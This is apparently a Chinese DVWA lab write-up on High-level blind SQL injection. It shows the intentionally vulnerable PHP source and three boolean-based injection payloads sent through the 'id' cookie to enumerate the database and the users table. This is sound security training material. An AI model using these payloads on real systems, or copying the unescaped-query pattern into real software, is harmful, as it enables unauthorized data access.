DVWA-8.3 SQL Injection (Blind)(SQL盲注)-High

High Level

查看源码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        $html .= '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

抓包将cookie中参数id改为1' and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #,(0x7573657273 为'users'的16进制),显示存在,说明uers表有8个字段。

参考:https://www.freebuf.com/articles/web/120985.html

原文地址:https://www.cnblogs.com/zhengna/p/12778044.html